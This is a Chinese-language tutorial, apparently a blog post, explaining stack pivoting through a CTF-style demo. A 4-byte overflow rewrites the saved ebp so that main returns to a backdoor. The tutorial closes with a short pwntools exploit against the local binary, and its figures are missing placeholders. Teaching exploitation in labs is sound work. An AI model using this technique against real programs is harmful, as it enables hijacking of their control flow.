栈劫持(stack pivoting)是将栈转移到固定可控的目标上的一种方法,比如转移到bss段上或者是转移到堆上。一般来说,我们可能在以下情况中需要使用栈劫持。

  • 可以控制栈溢出的字节数比较少,很难构造较长的ROP链
  • 开启了ASLR保护,栈地址未知,需要把栈劫持到已知的区域
  • 难以利用其它漏洞,需要转换,比如把栈劫持到堆空间

在某些技巧中,也可以通过栈劫持这种方法来进行一次性的不需要返回到main函数的Payload。

还有一些其他情况,比如能在bss段输入大量数据,但是栈溢出的时候只能控制返回地址甚至只能控制rbp的情况。当然,特殊情况下,只能控制rbp的一个字节。

下面通过一个例子解释

demo:change_ebp

通过修改上层函数的ebp达到改变控制上层函数返回地址的目的

概况

vulnfunc()
在这里插入图片描述
在这里插入图片描述

漏洞分析

在漏洞函数中存在一个4字节的栈溢出,只能覆盖到vulnfunc的栈中存储的旧ebp,也就是上层函数的ebp。现在回想一下函数调用过程中的栈结构:
在这里插入图片描述

ebp寄存器存储的位置中保存了上层函数的栈基址,那么在上层函数的栈基址的上方保存了什么呢?保存了上层函数的返回地址

如果只能修改func的ebp,那么就可以通过修改ebp中的内容达到修改上层函数栈基址的目的,从而使得上层函数的返回地址改变

正常流程

在这里插入图片描述

构造流程

payload = "junk“ + p32(backdoor) + p32(magic_addr)

在这里插入图片描述

vulnfunc执行后的magic

在这里插入图片描述

把main函数的ebp和返回地址劫持到了magic变量上

exp

from pwn import *

p = process("./change_ebp")

backdoor = 0x0804850B
magic_addr = 0x0804A380

p.recvuntil(b"leave your name\n")
payload = b"aaaa" + p32(backdoor) + p32(magic_addr)
#gdb.attach(p)
p.send(payload)
p.interactive()

这里的exp其实没有这么简单,存在一些system函数执行时的细节问题,此处仅供参考

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐